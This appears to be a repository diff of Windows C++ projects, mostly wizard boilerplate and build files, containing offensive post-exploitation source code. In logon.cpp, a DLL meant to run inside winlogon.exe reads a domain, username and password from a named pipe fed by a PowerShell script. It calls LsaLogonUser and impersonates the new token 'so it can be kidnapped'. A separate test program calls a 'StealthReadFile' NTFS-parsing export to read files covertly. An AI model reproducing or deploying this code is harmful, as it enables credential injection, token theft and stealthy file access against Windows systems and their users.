make up your LogonUser application.
LogonUser.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
LogonUser.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
LogonUser.cpp
This is the main application source file.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named LogonUser.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////
@@ -0,0 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes
// LogonUser.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
@@ -0,0 +1,20 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
#include <iostream>
#include <string>
#include <Windows.h>
#include <NTSecAPI.h>
// TODO: reference additional headers your program requires here
@@ -0,0 +1,8 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>
@@ -0,0 +1,48 @@
========================================================================
DYNAMIC LINK LIBRARY : logon Project Overview
========================================================================
AppWizard has created this logon DLL for you.
This file contains a summary of what you will find in each of the files that
make up your logon application.
logon.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
logon.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
logon.cpp
This is the main DLL source file.
When created, this DLL does not export any symbols. As a result, it
will not produce a .lib file when it is built. If you wish this project
to be a project dependency of some other project, you will either need to
add code to export some symbols from the DLL so that an export library
will be produced, or you can set the Ignore Input Library property to Yes
on the General propert page of the Linker folder in the project's Property
Pages dialog box.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named logon.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////
@@ -0,0 +1,19 @@
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
@@ -0,0 +1,262 @@
// logon.cpp : Defines the exported functions for the DLL application.
//
#include "stdafx.h"
using namespace std;
size_t wcsByteLen( const wchar_t* str );
void InitUnicodeString( UNICODE_STRING& str, const wchar_t* value, BYTE* buffer, size_t& offset );
PVOID CreateKerbLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size);
PVOID CreateNtlmLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size);
size_t WriteUnicodeString(const wchar_t* str, UNICODE_STRING* uniStr, PVOID address);
void WriteErrorToPipe(string errorMsg, HANDLE pipe);
extern "C" __declspec( dllexport ) void VoidFunc();
//The entire point of this code is to call LsaLogonUser from within winlogon.exe
extern "C" __declspec( dllexport ) void VoidFunc()
{
//Open a pipe which will receive data from the PowerShell script.
HANDLE pipe = CreateFile(L"\\\\.\\pipe\\sqsvc", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (pipe == INVALID_HANDLE_VALUE)
{
return;
}
const size_t strSize = 257;
size_t bytesToRead = strSize * sizeof(wchar_t) - sizeof(wchar_t);
wchar_t* domain = new wchar_t[strSize];
wchar_t* username = new wchar_t[strSize];
wchar_t* password = new wchar_t[strSize];
DWORD bytesRead = 0;
BOOL success = ReadFile(pipe, domain, bytesToRead, &bytesRead, NULL);
if (!success)
{
return;
}
domain[bytesRead/2] = '\0';
bytesRead = 0;
success = ReadFile(pipe, username, bytesToRead, &bytesRead, NULL);
if (!success)
{
return;
}
username[bytesRead/2] = '\0';
bytesRead = 0;
success = ReadFile(pipe, password, bytesToRead, &bytesRead, NULL);
if (!success)
{
return;
}
password[bytesRead/2] = '\0';
bytesRead = 0;
//Get the logon type from the pipe
USHORT logonType = 10;
success = ReadFile(pipe, &logonType, 1, &bytesRead, NULL);
if (!success)
{
return;
}
bytesRead = 0;
//Get the authentication package to use. 1 = Msv1_0, 2 = Kerberos
USHORT authPackageToUse = 0;
success = ReadFile(pipe, &authPackageToUse, 1, &bytesRead, NULL);
if (!success)
{
return;
}
bytesRead = 0;
/////////////
//Build the parameters to call LsaLogonUser with
/////////////
//Get a handle to LSA
HANDLE hLSA = NULL;
NTSTATUS status = LsaConnectUntrusted(&hLSA);
if (status != 0)
{
string errorMsg = "Error calling LsaConnectUntrusted. Error code: " + to_string(status);
WriteErrorToPipe(errorMsg, pipe);
return;
}
if (hLSA == NULL)
{
string errorMsg = "hLSA (LSA handle) is NULL, this shouldn't ever happen.";
WriteErrorToPipe(errorMsg, pipe);
return;
}
//Build LsaLogonUser parameters
LSA_STRING originName = {};
char originNameStr[] = "";
originName.Buffer = originNameStr;
originName.Length = (USHORT)0;
originName.MaximumLength = 0;
//Build the authentication package parameter based on the auth package the powershell script specified to use
//Also get the AuthenticationInformation
char* authPackageBuf = NULL;
DWORD authBufferSize = 0;
PVOID authBuffer = NULL;
if (authPackageToUse == 1)
{
authPackageBuf = MSV1_0_PACKAGE_NAME;
authBuffer = CreateNtlmLogonStructure(domain, username, password, &authBufferSize);
}
else if (authPackageToUse == 2)
{
authPackageBuf = MICROSOFT_KERBEROS_NAME_A;
authBuffer = CreateKerbLogonStructure(domain, username, password, &authBufferSize);
}
else
{
string errorMsg = "Received an invalid auth package from the named pipe";
WriteErrorToPipe(errorMsg, pipe);
return;
}
ULONG authPackage = 0;
PLSA_STRING authPackageName = new LSA_STRING();
authPackageName->Buffer = authPackageBuf;
authPackageName->Length = (USHORT)strlen(authPackageBuf);
authPackageName->MaximumLength = (USHORT)strlen(authPackageBuf);
status = LsaLookupAuthenticationPackage(hLSA, authPackageName, &authPackage);
if (status != 0)
{
int winError = LsaNtStatusToWinError(status);
string errorMsg = "Call to LsaLookupAuthenticationPackage failed. Error code: " + to_string(winError);
WriteErrorToPipe(errorMsg, pipe);
return;
}
//Get TokenSource
HANDLE hProcess = GetCurrentProcess();//todo
HANDLE procToken = NULL;
success = OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &procToken);
if (!success)
{
DWORD errorCode = GetLastError();
string errorMsg = "Call to OpenProcessToken failed. Errorcode: " + to_string(errorCode);
WriteErrorToPipe(errorMsg, pipe);
return;
}
TOKEN_SOURCE tokenSource = {};
DWORD realSize = 0;
success = GetTokenInformation(procToken, TokenSource, &tokenSource, sizeof(tokenSource), &realSize);
if (!success)
{
string errorMsg = "Call to GetTokenInformation failed.";
WriteErrorToPipe(errorMsg, pipe);
return;
}
//Misc out parameters
PVOID profileBuffer = NULL;
ULONG profileBufferSize = 0;
LUID loginId;
HANDLE token = NULL;
QUOTA_LIMITS quotaLimits;
NTSTATUS subStatus = 0;
//Log on the user
status = LsaLogonUser(hLSA,
&originName,
static_cast<SECURITY_LOGON_TYPE>(logonType),
authPackage,
authBuffer,
authBufferSize,
0,
&tokenSource,
&profileBuffer,
&profileBufferSize,
&loginId,
&token,
&quotaLimits,
&subStatus);
if (status != 0)
{
NTSTATUS winError = LsaNtStatusToWinError(status);
string errorMsg = "Error calling LsaLogonUser. Error code: " + to_string(winError);
WriteErrorToPipe(errorMsg, pipe);
return;
}
//Impersonate the token with the current thread so it can be kidnapped
ImpersonateLoggedOnUser(token);
//Put the thread to sleep so it can be impersonated
string successMsg = "Logon succeeded, impersonating the token so it can be kidnapped and starting an infinite loop with the thread.";
WriteErrorToPipe(successMsg, pipe);
HANDLE permenantSleep = CreateMutex(NULL, false, NULL);
while(1)
{
Sleep(MAXDWORD);
}
return;
}
PVOID CreateKerbLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size)
{
size_t wcharSize = sizeof(wchar_t);
size_t totalSize = sizeof(KERB_INTERACTIVE_LOGON) + ((lstrlenW(domain) + lstrlenW(username) + lstrlenW(password)) * wcharSize);
KERB_INTERACTIVE_LOGON* ntlmLogon = (PKERB_INTERACTIVE_LOGON)(new BYTE[totalSize]);
size_t writeAddress = (UINT_PTR)ntlmLogon + sizeof(KERB_INTERACTIVE_LOGON);
ntlmLogon->MessageType = KerbInteractiveLogon;
writeAddress += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), (PVOID)writeAddress);
writeAddress += WriteUnicodeString(username, &(ntlmLogon->UserName), (PVOID)writeAddress);
writeAddress += WriteUnicodeString(password, &(ntlmLogon->Password), (PVOID)writeAddress);
*size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere.
return ntlmLogon;
}
PVOID CreateNtlmLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size)
{
size_t wcharSize = sizeof(wchar_t);
size_t totalSize = sizeof(MSV1_0_INTERACTIVE_LOGON) + ((lstrlenW(domain) + lstrlenW(username) + lstrlenW(password)) * wcharSize);
MSV1_0_INTERACTIVE_LOGON* ntlmLogon = (PMSV1_0_INTERACTIVE_LOGON)(new BYTE[totalSize]);
size_t writeAddress = (UINT_PTR)ntlmLogon + sizeof(MSV1_0_INTERACTIVE_LOGON);
ntlmLogon->MessageType = MsV1_0InteractiveLogon;
writeAddress += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), (PVOID)writeAddress);
writeAddress += WriteUnicodeString(username, &(ntlmLogon->UserName), (PVOID)writeAddress);
writeAddress += WriteUnicodeString(password, &(ntlmLogon->Password), (PVOID)writeAddress);
*size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere.
return ntlmLogon;
}
//Returns the amount of bytes written.
size_t WriteUnicodeString(const wchar_t* str, UNICODE_STRING* uniStr, PVOID address)
{
size_t size = lstrlenW(str) * sizeof(wchar_t);
uniStr->Length = (USHORT)size;
uniStr->MaximumLength = (USHORT)size;
uniStr->Buffer = (PWSTR)address;
memcpy(address, str, size);
return size;
}
void WriteErrorToPipe(string errorMsg, HANDLE pipe)
{
const char* error = errorMsg.c_str();
DWORD bytesWritten = 0;
WriteFile(pipe, error, strlen(error), &bytesWritten, NULL);
}
@@ -0,0 +1,176 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>logon</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
</PrecompiledHeader>
</ClCompile>
<ClCompile Include="logon.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,39 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="logon.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="dllmain.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
@@ -0,0 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes
// logon.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
@@ -0,0 +1,25 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files:
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
#include <iostream>
#include <string>
#include <fstream>
#include <ostream>
#include <mutex>
#include <Windows.h>
#include <NTSecAPI.h>
// TODO: reference additional headers your program requires here
@@ -0,0 +1,8 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>
+26
View File
@@ -0,0 +1,26 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2012
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NTFSParserDLL", "NTFSParserDLL\NTFSParserDLL.vcxproj", "{5E42B778-F231-4797-B7FD-7D5BCA9738D0}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|Win32.ActiveCfg = Debug|Win32
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|Win32.Build.0 = Debug|Win32
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|x64.ActiveCfg = Debug|x64
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|x64.Build.0 = Debug|x64
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|Win32.ActiveCfg = Release|Win32
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|Win32.Build.0 = Release|Win32
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|x64.ActiveCfg = Release|x64
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
+28
View File
@@ -0,0 +1,28 @@
/*
* NTFS include files
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_H_CYB70289
#define __NTFS_H_CYB70289
#pragma pack(8)
#include "NTFS_Common.h"
#include "NTFS_FileRecord.h"
#include "NTFS_Attribute.h"
#pragma pack()
#endif
@@ -0,0 +1,49 @@
/*
*
* Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
//
// This code uses libraries released under GPLv2(or later) written by cyb70289 <cyb70289@gmail.com>
#include "stdafx.h"
#include "NTFS.h"
#include "NTFS_Attribute.h"
#include "NTFS_Common.h"
#include "NTFS_DataType.h"
#include "NTFS_FileRecord.h"
using namespace std;
typedef DWORD (CDECL *StealthReadFile_Func)(string, BYTE*, DWORD, ULONGLONG, DWORD*, ULONGLONG*);
int _tmain(int argc, _TCHAR* argv[])
{
HMODULE parserDLLHandle = LoadLibraryA("NTFSParserDLL.dll");
HANDLE procAddress = GetProcAddress(parserDLLHandle, "StealthReadFile");
StealthReadFile_Func StealthReadFile = (StealthReadFile_Func)procAddress;
DWORD buffSize = 1024*1024;
BYTE* buffer = new BYTE[buffSize];
DWORD bytesRead = 0;
ULONGLONG bytesLeft = 0;
DWORD ret = StealthReadFile("c:\\test\\test.txt", buffer, buffSize, 0, &bytesRead, &bytesLeft);
cout << "Return value: " << ret << endl;
ofstream myFile("c:\\test\\test2.txt", ios::out | ios::binary);
myFile.write((char*)buffer, bytesRead);
return 0;
}
@@ -0,0 +1,165 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{2F38A7A9-D810-451B-BB19-273770AF4D25}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>NTFSParser</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>NotSet</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>NotSet</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
